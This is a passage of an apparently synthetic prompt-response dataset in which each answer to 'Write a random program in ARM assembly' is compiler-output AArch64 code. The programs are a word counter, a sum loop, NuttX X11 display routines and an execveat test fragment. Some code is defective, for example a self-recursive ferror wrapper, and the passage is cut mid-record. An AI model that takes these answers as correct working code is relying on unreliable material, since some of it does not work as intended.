ldr x1, [x0, 8]
ldr x0, [sp, 8]
ldr x0, [x0, 8]
sub x0, x1, x0
mov x1, 13531
movk x1, 0xd7b6, lsl 16
movk x1, 0xde82, lsl 32
movk x1, 0x431b, lsl 48
smulh x1, x0, x1
asr x1, x1, 18
asr x0, x0, 63
sub x0, x1, x0
str w0, [sp, 44]
ldr x0, [sp, 8]
ldr x1, [x0, 8]
ldr w2, [sp, 44]
mov w0, 16960
movk w0, 0xf, lsl 16
mul w0, w2, w0
sxtw x0, w0
add x1, x1, x0
ldr x0, [sp, 8]
str x1, [x0, 8]
ldr x0, [sp, 8]
ldr x1, [x0]
ldrsw x0, [sp, 44]
sub x1, x1, x0
ldr x0, [sp, 8]
str x1, [x0]
.L30:
ldr x0, [sp, 16]
ldr x1, [x0]
ldr x0, [sp, 8]
ldr x0, [x0]
sub x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0]
ldr x0, [sp, 16]
ldr x1, [x0, 8]
ldr x0, [sp, 8]
ldr x0, [x0, 8]
sub x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 8]
ldr x0, [sp, 16]
ldr x1, [x0]
ldr x0, [sp, 8]
ldr x0, [x0]
cmp x1, x0
cset w0, lt
and w0, w0, 255
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size timeval_subtract, .-timeval_subtract
.section .rodata
.align 3
.LC1:
.word 1202590843
.word 1065646817
.align 3
.LC2:
.word -755914244
.word 1083204173
.align 3
.LC3:
.word 477218588
.word 1071411655
.align 3
.LC4:
.word 477218588
.word 1069314503
.align 3
.LC5:
.word 477218588
.word 1067217351
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global ferror
.type ferror, %function
ferror:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl ferror
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size ferror, .-ferror
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global compareWords
.type compareWords, %function
compareWords:
.LFB6:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
str x0, [sp, 16]
ldr x0, [sp]
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr w1, [x0, 104]
ldr x0, [sp, 16]
ldr w0, [x0, 104]
sub w0, w1, w0
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size compareWords, .-compareWords
.section .rodata
.align 3
.LC0:
.string "r"
.align 3
.LC1:
.string "Couldn't open file: "
.align 3
.LC2:
.string "%s"
.align 3
.LC3:
.string "%s %d %s %s %s"
.text
.align 2
.global countFrequency
.type countFrequency, %function
countFrequency:
.LFB7:
.cfi_startproc
sub sp, sp, #1088
.cfi_def_cfa_offset 1088
stp x29, x30, [sp]
.cfi_offset 29, -1088
.cfi_offset 30, -1080
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1080]
mov x1, 0
mov x0, 1
bl malloc
str x0, [sp, 56]
ldr x0, [sp, 24]
str x0, [sp, 56]
mov x1, 108
mov x0, 1000
bl calloc
str x0, [sp, 48]
mov x0, 800
bl malloc
str x0, [sp, 64]
str wzr, [sp, 32]
str wzr, [sp, 40]
str wzr, [sp, 40]
b .L4
.L5:
ldrsw x1, [sp, 40]
mov x0, x1
lsl x0, x0, 3
sub x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 2
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
strb wzr, [x0]
ldrsw x1, [sp, 40]
mov x0, x1
lsl x0, x0, 3
sub x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 2
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
str wzr, [x0, 104]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L4:
ldr w0, [sp, 40]
cmp w0, 107
bls .L5
adrp x0, .LC0
add x1, x0, :lo12:.LC0
ldr x0, [sp, 56]
bl fopen
str x0, [sp, 72]
ldr x0, [sp, 72]
cmp x0, 0
bne .L8
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
b .L7
.L14:
mov w0, -1
str w0, [sp, 36]
str wzr, [sp, 44]
b .L9
.L11:
ldrsw x1, [sp, 44]
mov x0, x1
lsl x0, x0, 3
sub x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 2
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
mov x2, x0
add x0, sp, 80
mov x1, x0
mov x0, x2
bl strcmp
cmp w0, 0
bne .L10
ldr w0, [sp, 44]
str w0, [sp, 36]
.L10:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L9:
ldr w1, [sp, 44]
ldr w0, [sp, 32]
cmp w1, w0
blt .L11
ldr w0, [sp, 36]
cmn w0, #1
bne .L12
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 3
sub x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 2
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
mov x2, x0
add x0, sp, 80
mov x1, x0
mov x0, x2
bl strcpy
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 3
sub x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 2
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
mov w1, 1
str w1, [x0, 104]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
b .L13
.L12:
ldrsw x1, [sp, 36]
mov x0, x1
lsl x0, x0, 3
sub x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 2
mov x1, x0
ldr x0, [sp, 48]
add x0, x0, x1
ldr w1, [x0, 104]
add w1, w1, 1
str w1, [x0, 104]
.L13:
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 3
sub x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 2
mov x1, x0
mov x0, 11664
add x0, x1, x0
mov x1, x0
ldr x0, [sp, 48]
bl realloc
str x0, [sp, 48]
.L8:
add x0, sp, 80
mov x2, x0
adrp x0, .LC2
add x1, x0, :lo12:.LC2
ldr x0, [sp, 72]
bl __isoc99_fscanf
cmn w0, #1
bne .L14
.L7:
ldrsw x1, [sp, 32]
adrp x0, compareWords
add x3, x0, :lo12:compareWords
mov x2, 108
ldr x0, [sp, 48]
bl qsort
ldr x1, [sp, 48]
ldr x0, [sp, 48]
add x0, x0, 108
mov x2, x0
ldr x0, [sp, 48]
add x0, x0, 216
mov x7, x0
mov x6, x2
mov x5, x1
ldr w4, [sp, 32]
ldr x3, [sp, 56]
adrp x0, .LC3
add x2, x0, :lo12:.LC3
mov x1, 10000
ldr x0, [sp, 64]
bl snprintf
ldr x0, [sp, 72]
bl fclose
ldr x0, [sp, 64]
bl puts
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 1080]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L15
bl __stack_chk_fail
.L15:
ldp x29, x30, [sp]
add sp, sp, 1088
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size countFrequency, .-countFrequency
.align 2
.global main
.type main, %function
main:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
.cfi_def_cfa_register 29
str x19, [sp, 16]
sub sp, sp, #16
.cfi_offset 19, -144
str w0, [x29, 44]
str x1, [x29, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 152]
mov x1, 0
mov x0, sp
mov x19, x0
ldr w0, [x29, 44]
sub w0, w0, #1
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 64]
sxtw x1, w0
mov x8, x1
mov x9, 0
lsr x1, x8, 58
lsl x5, x9, 6
orr x5, x1, x5
lsl x4, x8, 6
sxtw x1, w0
mov x6, x1
mov x7, 0
lsr x1, x6, 58
lsl x3, x7, 6
orr x3, x1, x3
lsl x2, x6, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L17:
cmp sp, x1
beq .L18
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L17
.L18:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L19
str xzr, [sp, 1024]
.L19:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 72]
add x0, x29, 88
bl pthread_attr_init
mov w0, 1
str w0, [x29, 60]
b .L20
.L21:
mov x0, 9
bl malloc
str x0, [x29, 80]
ldrsw x0, [x29, 60]
lsl x0, x0, 3
ldr x1, [x29, 32]
add x0, x1, x0
ldr x0, [x0]
str x0, [x29, 80]
ldrsw x0, [x29, 60]
lsl x0, x0, 3
ldr x1, [x29, 72]
add x4, x1, x0
add x1, x29, 88
ldr x3, [x29, 80]
adrp x0, countFrequency
add x2, x0, :lo12:countFrequency
mov x0, x4
bl pthread_create
ldr w0, [x29, 60]
add w0, w0, 1
str w0, [x29, 60]
.L20:
ldr w1, [x29, 60]
ldr w0, [x29, 44]
cmp w1, w0
blt .L21
mov w0, 1
str w0, [x29, 60]
b .L22
.L23:
ldr x0, [x29, 72]
ldrsw x1, [x29, 60]
ldr x0, [x0, x1, lsl 3]
mov x1, 0
bl pthread_join
ldr w0, [x29, 60]
add w0, w0, 1
str w0, [x29, 60]
.L22:
ldr w1, [x29, 60]
ldr w0, [x29, 44]
cmp w1, w0
blt .L23
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 152]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L25
bl __stack_chk_fail
.L25:
mov w0, w1
mov sp, x29
ldr x19, [sp, 16]
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE8:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "enter number ="
.align 3
.LC1:
.string "%d"
.align 3
.LC2:
.string "sum %d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str wzr, [sp, 36]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x0, sp, 28
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
mov w0, 1
str w0, [sp, 32]
b .L2
.L3:
ldr w1, [sp, 36]
ldr w0, [sp, 32]
add w0, w1, w0
str w0, [sp, 36]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
ldr w0, [sp, 28]
ldr w1, [sp, 32]
cmp w1, w0
ble .L3
ldr w1, [sp, 36]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global g_display
.bss
.align 3
.type g_display, %object
.size g_display, 8
g_display:
.zero 8
.global g_x11initialized
.align 2
.type g_x11initialized, %object
.size g_x11initialized, 4
g_x11initialized:
.zero 4
.local g_screen
.comm g_screen,4,4
.local g_window
.comm g_window,8,8
.local g_gc
.comm g_gc,8,8
.local g_image
.comm g_image,8,8
.local g_framebuffer
.comm g_framebuffer,8,8
.local g_fbpixelwidth
.comm g_fbpixelwidth,2,2
.local g_fbpixelheight
.comm g_fbpixelheight,2,2
.local g_shmcheckpoint
.comm g_shmcheckpoint,4,4
.local b_useshm
.comm b_useshm,4,4
.section .rodata
.align 3
.LC0:
.string "nuttx"
.align 3
.LC1:
.string "NuttX"
.align 3
.LC2:
.string "NX"
.align 3
.LC3:
.string "Unable to open display."
.text
.align 2
.type up_x11createframe, %function
up_x11createframe:
.LFB6:
.cfi_startproc
sub sp, sp, #352
.cfi_def_cfa_offset 352
stp x29, x30, [sp, 16]
.cfi_offset 29, -336
.cfi_offset 30, -328
add x29, sp, 16
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 344]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
str x0, [sp, 328]
str xzr, [sp, 336]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
str x0, [sp, 40]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
str x0, [sp, 48]
mov x0, 0
bl XOpenDisplay
mov x1, x0
adrp x0, g_display
add x0, x0, :lo12:g_display
str x1, [x0]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
cmp x0, 0
bne .L2
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
mov w0, -1
b .L4
.L2:
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr w1, [x0, 224]
adrp x0, g_screen
add x0, x0, :lo12:g_screen
str w1, [x0]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x8, [x0]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr x1, [x0, 232]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr w0, [x0, 224]
sxtw x0, w0
lsl x0, x0, 7
add x0, x1, x0
ldr x9, [x0, 16]
adrp x0, g_fbpixelwidth
add x0, x0, :lo12:g_fbpixelwidth
ldrh w0, [x0]
mov w3, w0
adrp x0, g_fbpixelheight
add x0, x0, :lo12:g_fbpixelheight
ldrh w0, [x0]
mov w4, w0
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr x1, [x0, 232]
adrp x0, g_screen
add x0, x0, :lo12:g_screen
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 7
add x0, x1, x0
ldr x2, [x0, 96]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr x1, [x0, 232]
adrp x0, g_screen
add x0, x0, :lo12:g_screen
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 7
add x0, x1, x0
ldr x0, [x0, 96]
str x0, [sp]
mov x7, x2
mov w6, 2
mov w5, w4
mov w4, w3
mov w3, 0
mov w2, 0
mov x1, x9
mov x0, x8
bl XCreateSimpleWindow
mov x1, x0
adrp x0, g_window
add x0, x0, :lo12:g_window
str x1, [x0]
add x1, sp, 56
add x0, sp, 40
mov x2, x1
mov w1, 1
bl XStringListToTextProperty
add x1, sp, 88
add x0, sp, 48
mov x2, x1
mov w1, 1
bl XStringListToTextProperty
mov x0, 56
str x0, [sp, 120]
adrp x0, g_fbpixelwidth
add x0, x0, :lo12:g_fbpixelwidth
ldrh w0, [x0]
str w0, [sp, 152]
ldr w0, [sp, 152]
str w0, [sp, 144]
ldr w0, [sp, 144]
str w0, [sp, 136]
adrp x0, g_fbpixelheight
add x0, x0, :lo12:g_fbpixelheight
ldrh w0, [x0]
str w0, [sp, 156]
ldr w0, [sp, 156]
str w0, [sp, 148]
ldr w0, [sp, 148]
str w0, [sp, 140]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x8, [x0]
adrp x0, g_window
add x0, x0, :lo12:g_window
ldr x0, [x0]
add x4, sp, 120
add x3, sp, 328
add x2, sp, 88
add x1, sp, 56
str xzr, [sp]
mov x7, 0
mov x6, x4
mov w5, 1
mov x4, x3
mov x3, x2
mov x2, x1
mov x1, x0
mov x0, x8
bl XSetWMProperties
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x2, [x0]
adrp x0, g_window
add x0, x0, :lo12:g_window
ldr x0, [x0]
mov x1, x0
mov x0, x2
bl XMapWindow
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x3, [x0]
adrp x0, g_window
add x0, x0, :lo12:g_window
ldr x0, [x0]
mov x2, 77
mov x1, x0
mov x0, x3
bl XSelectInput
str wzr, [sp, 300]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x4, [x0]
adrp x0, g_window
add x0, x0, :lo12:g_window
ldr x0, [x0]
add x1, sp, 200
mov x3, x1
mov x2, 65536
mov x1, x0
mov x0, x4
bl XCreateGC
mov x1, x0
adrp x0, g_gc
add x0, x0, :lo12:g_gc
str x1, [x0]
mov w0, 0
.L4:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 344]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp, 16]
add sp, sp, 352
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size up_x11createframe, .-up_x11createframe
.align 2
.type up_x11uninitX, %function
up_x11uninitX:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, g_x11initialized
add x0, x0, :lo12:g_x11initialized
ldr w0, [x0]
cmp w0, 0
beq .L7
adrp x0, g_shmcheckpoint
add x0, x0, :lo12:g_shmcheckpoint
ldr w0, [x0]
cmp w0, 1
ble .L8
adrp x0, g_image
add x0, x0, :lo12:g_image
ldr x0, [x0]
ldr x1, [x0, 96]
adrp x0, g_image
add x0, x0, :lo12:g_image
ldr x0, [x0]
blr x1
.L8:
adrp x0, g_x11initialized
add x0, x0, :lo12:g_x11initialized
str wzr, [x0]
.L7:
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
bl XCloseDisplay
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size up_x11uninitX, .-up_x11uninitX
.section .rodata
.align 3
.LC4:
.string "Unable to create g_image\n"
.text
.align 2
.type up_x11mapsharedmem, %function
up_x11mapsharedmem:
.LFB8:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, 16]
.cfi_offset 29, -32
.cfi_offset 30, -24
add x29, sp, 16
str w0, [sp, 44]
str w1, [sp, 40]
adrp x0, up_x11uninitX
add x0, x0, :lo12:up_x11uninitX
bl atexit
adrp x0, g_shmcheckpoint
add x0, x0, :lo12:g_shmcheckpoint
mov w1, 1
str w1, [x0]
adrp x0, b_useshm
add x0, x0, :lo12:b_useshm
str wzr, [x0]
adrp x0, b_useshm
add x0, x0, :lo12:b_useshm
ldr w0, [x0]
cmp w0, 0
bne .L10
adrp x0, b_useshm
add x0, x0, :lo12:b_useshm
str wzr, [x0]
ldr w0, [sp, 40]
bl malloc
mov x1, x0
adrp x0, g_framebuffer
add x0, x0, :lo12:g_framebuffer
str x1, [x0]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x8, [x0]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr x1, [x0, 232]
adrp x0, g_screen
add x0, x0, :lo12:g_screen
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 7
add x0, x1, x0
ldr x1, [x0, 64]
ldr w2, [sp, 44]
adrp x0, g_framebuffer
add x0, x0, :lo12:g_framebuffer
ldr x3, [x0]
adrp x0, g_fbpixelwidth
add x0, x0, :lo12:g_fbpixelwidth
ldrh w0, [x0]
mov w4, w0
adrp x0, g_fbpixelheight
add x0, x0, :lo12:g_fbpixelheight
ldrh w0, [x0]
mov w5, w0
str wzr, [sp, 8]
mov w0, 8
str w0, [sp]
mov w7, w5
mov w6, w4
mov x5, x3
mov w4, 0
mov w3, 2
mov x0, x8
bl XCreateImage
mov x1, x0
adrp x0, g_image
add x0, x0, :lo12:g_image
str x1, [x0]
adrp x0, g_image
add x0, x0, :lo12:g_image
ldr x0, [x0]
cmp x0, 0
bne .L11
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 25
mov x1, 1
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl fwrite
mov w0, -1
b .L12
.L11:
adrp x0, g_shmcheckpoint
add x0, x0, :lo12:g_shmcheckpoint
ldr w0, [x0]
add w1, w0, 1
adrp x0, g_shmcheckpoint
add x0, x0, :lo12:g_shmcheckpoint
str w1, [x0]
.L10:
mov w0, 0
.L12:
ldp x29, x30, [sp, 16]
add sp, sp, 48
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size up_x11mapsharedmem, .-up_x11mapsharedmem
.align 2
.global up_x11initialize
.type up_x11initialize, %function
up_x11initialize:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -224]!
.cfi_def_cfa_offset 224
.cfi_offset 29, -224
.cfi_offset 30, -216
mov x29, sp
strh w0, [sp, 62]
strh w1, [sp, 60]
str x2, [sp, 48]
str x3, [sp, 40]
str x4, [sp, 32]
str x5, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 216]
mov x1, 0
adrp x0, g_x11initialized
add x0, x0, :lo12:g_x11initialized
ldr w0, [x0]
cmp w0, 0
bne .L14
adrp x0, g_fbpixelwidth
add x0, x0, :lo12:g_fbpixelwidth
ldrh w1, [sp, 62]
strh w1, [x0]
adrp x0, g_fbpixelheight
add x0, x0, :lo12:g_fbpixelheight
ldrh w1, [sp, 60]
strh w1, [x0]
bl up_x11createframe
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
bge .L15
ldr w0, [sp, 76]
b .L18
.L15:
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x3, [x0]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr x1, [x0, 232]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr w0, [x0, 224]
sxtw x0, w0
lsl x0, x0, 7
add x0, x1, x0
ldr x0, [x0, 16]
add x1, sp, 80
mov x2, x1
mov x1, x0
mov x0, x3
bl XGetWindowAttributes
ldr w0, [sp, 100]
str w0, [sp, 72]
ldr w0, [sp, 72]
cmp w0, 24
bne .L17
mov w0, 32
str w0, [sp, 72]
.L17:
ldr w0, [sp, 72]
and w1, w0, 255
ldr x0, [sp, 32]
strb w1, [x0]
ldrh w1, [sp, 62]
ldr w0, [sp, 72]
mul w0, w1, w0
add w1, w0, 7
cmp w0, 0
csel w0, w1, w0, lt
asr w0, w0, 3
and w1, w0, 65535
ldr x0, [sp, 24]
strh w1, [x0]
ldr x0, [sp, 24]
ldrh w0, [x0]
mov w1, w0
ldrh w0, [sp, 60]
mul w0, w1, w0
sxtw x1, w0
ldr x0, [sp, 40]
str x1, [x0]
ldr w2, [sp, 100]
ldr x0, [sp, 40]
ldr x0, [x0]
mov w1, w0
mov w0, w2
bl up_x11mapsharedmem
adrp x0, g_x11initialized
add x0, x0, :lo12:g_x11initialized
mov w1, 1
str w1, [x0]
.L14:
adrp x0, g_framebuffer
add x0, x0, :lo12:g_framebuffer
ldr x1, [x0]
ldr x0, [sp, 48]
str x1, [x0]
mov w0, 0
.L18:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 216]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L19
bl __stack_chk_fail
.L19:
mov w0, w1
ldp x29, x30, [sp], 224
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size up_x11initialize, .-up_x11initialize
.section .rodata
.align 3
.LC5:
.string "Creating Colormap"
.align 3
.LC6:
.string "Failed to allocate color%d\n"
.text
.align 2
.global up_x11cmap
.type up_x11cmap, %function
up_x11cmap:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
strh w0, [sp, 62]
strh w1, [sp, 60]
str x2, [sp, 48]
str x3, [sp, 40]
str x4, [sp, 32]
str x5, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl puts
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
ldr x1, [x0, 232]
adrp x0, g_screen
add x0, x0, :lo12:g_screen
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 7
add x0, x1, x0
ldr x0, [x0, 80]
str x0, [sp, 80]
ldrh w0, [sp, 62]
str w0, [sp, 76]
b .L21
.L24:
ldr x0, [sp, 48]
add x1, x0, 1
str x1, [sp, 48]
ldrb w0, [x0]
and w0, w0, 65535
ubfiz w0, w0, 8, 8
and w0, w0, 65535
strh w0, [sp, 96]
ldr x0, [sp, 40]
add x1, x0, 1
str x1, [sp, 40]
ldrb w0, [x0]
and w0, w0, 65535
ubfiz w0, w0, 8, 8
and w0, w0, 65535
strh w0, [sp, 98]
ldr x0, [sp, 32]
add x1, x0, 1
str x1, [sp, 32]
ldrb w0, [x0]
and w0, w0, 65535
ubfiz w0, w0, 8, 8
and w0, w0, 65535
strh w0, [sp, 100]
mov w0, 7
strb w0, [sp, 102]
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
add x1, sp, 88
mov x2, x1
ldr x1, [sp, 80]
bl XAllocColor
cmp w0, 0
bne .L22
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr w2, [sp, 76]
adrp x0, .LC6
add x1, x0, :lo12:.LC6
mov x0, x3
bl fprintf
mov w0, -1
b .L23
.L22:
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L21:
ldrh w1, [sp, 62]
ldrh w0, [sp, 60]
add w0, w1, w0
ldr w1, [sp, 76]
cmp w1, w0
blt .L24
mov w0, 0
.L23:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 104]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L25
bl __stack_chk_fail
.L25:
mov w0, w1
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size up_x11cmap, .-up_x11cmap
.align 2
.global up_x11update
.type up_x11update, %function
up_x11update:
.LFB11:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, 16]
.cfi_offset 29, -16
.cfi_offset 30, -8
add x29, sp, 16
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x8, [x0]
adrp x0, g_window
add x0, x0, :lo12:g_window
ldr x1, [x0]
adrp x0, g_gc
add x0, x0, :lo12:g_gc
ldr x2, [x0]
adrp x0, g_image
add x0, x0, :lo12:g_image
ldr x3, [x0]
adrp x0, g_fbpixelwidth
add x0, x0, :lo12:g_fbpixelwidth
ldrh w0, [x0]
mov w4, w0
adrp x0, g_fbpixelheight
add x0, x0, :lo12:g_fbpixelheight
ldrh w0, [x0]
str w0, [sp, 8]
str w4, [sp]
mov w7, 0
mov w6, 0
mov w5, 0
mov w4, 0
mov x0, x8
bl XPutImage
adrp x0, g_display
add x0, x0, :lo12:g_display
ldr x0, [x0]
mov w1, 0
bl XSync
nop
ldp x29, x30, [sp, 16]
add sp, sp, 32
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size up_x11update, .-up_x11update
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "execveat\nfilename"
.align 3
.LC1:
.string "first"
.align 3
.LC2:
.string "second"
.section .data.rel.ro.local,"aw"
.align 3
.type argv, %object
.size argv, 48
argv:
.xword .LC0
.xword .LC1
.xword .LC2
.xword 0
.xword 0
.xword 0
.section .rodata
.align 3
.LC3:
.string "foobar=1"
.align 3
.LC4:
.string "foo\nbar=2"
.align 3
.LC5:
.string ""
.section .data.rel.ro.local
.align 3
.type envp, %object
.size envp, 64
envp:
.xword .LC3
.xword .LC4
.xword 0
.xword .LC5
.xword 0
